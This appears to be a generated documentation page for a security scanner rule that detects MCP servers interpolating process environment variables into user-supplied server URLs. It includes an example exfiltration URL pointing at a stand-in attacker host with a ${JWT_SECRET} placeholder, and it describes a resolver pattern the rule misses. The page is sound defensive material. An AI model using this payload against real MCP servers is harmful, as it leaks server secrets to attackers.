Skip to content

AAK-MCP-ENV-PLACEHOLDER-EXFIL-001: MCP server resolves ${VAR} placeholders against process.env on a user-supplied server config (secret exfiltration)

Severity
CRITICAL
Category
Secret Exposure (secret-exposure)
Scanner
agent_audit_kit/scanners/mcp_env_placeholder_exfil.py
Auto-fixable
No.
SARIF name
McpEnvPlaceholderExfil

What it detects

An MCP server resolves ${VAR} / $VAR placeholders against its own process environment (process.env in Node, os.environ / os.path.expandvars in Python) while parsing or validating a user-supplied MCP server config — typically the server URL. An authenticated user can then submit a URL like https://attacker.example/?k=${JWT_SECRET} and the server interpolates its own secrets into the outbound request, exfiltrating them to an attacker-controlled host. This is the CVE-2026-32625 class (LibreChat <= 0.8.3 resolved ${VAR} against process.env during Zod validation of user-supplied MCP server URLs, leaking CREDS_KEY, JWT_SECRET, MONGO_URI, etc.; CWE-200, CVSS 9.6). Detected as a ${...}-placeholder resolver that reads the process environment (.replace(/.../, ... process.env ...), os.path.expandvars(...), .format(**os.environ)) inside an MCP-server config/URL path.

How to fix

Never expand environment placeholders found inside a user-supplied value. Treat the MCP server URL/config as untrusted data: reject or percent-encode ${...} sequences, and resolve env references only from a server-side allowlist of config keys that are known-safe to echo — never the full process.env / os.environ. Validate the resolved URL host against an allowlist before connecting.

To confirm the finding is gone, report only this rule:

agent-audit-kit scan . --rules AAK-MCP-ENV-PLACEHOLDER-EXFIL-001

Limitations

Reads Python and JavaScript/TypeScript files that mention MCP, and matches these resolver shapes: os.path.expandvars(...), .format(**os.environ), .format_map(os.environ) and string.Template's substitute(os.environ) in Python, each also under an imported name (from os.path import expandvars, from os import environ), and a .replace(...) or .replaceAll(...) whose ${...} replacer reads process.env, or a local name bound to it, in JavaScript or TypeScript. A resolver written another way is not reported: a Python re.sub that looks each ${NAME} up in os.environ is missed.

References


All rules. This page is generated from the rule registry when the documentation is built; to change it, change the rule in agent_audit_kit/rules/builtin.py. To give the rule a hand-written write-up, add docs/rules/AAK-MCP-ENV-PLACEHOLDER-EXFIL-001.md: the page then shows that text, with the registry reference appended under it.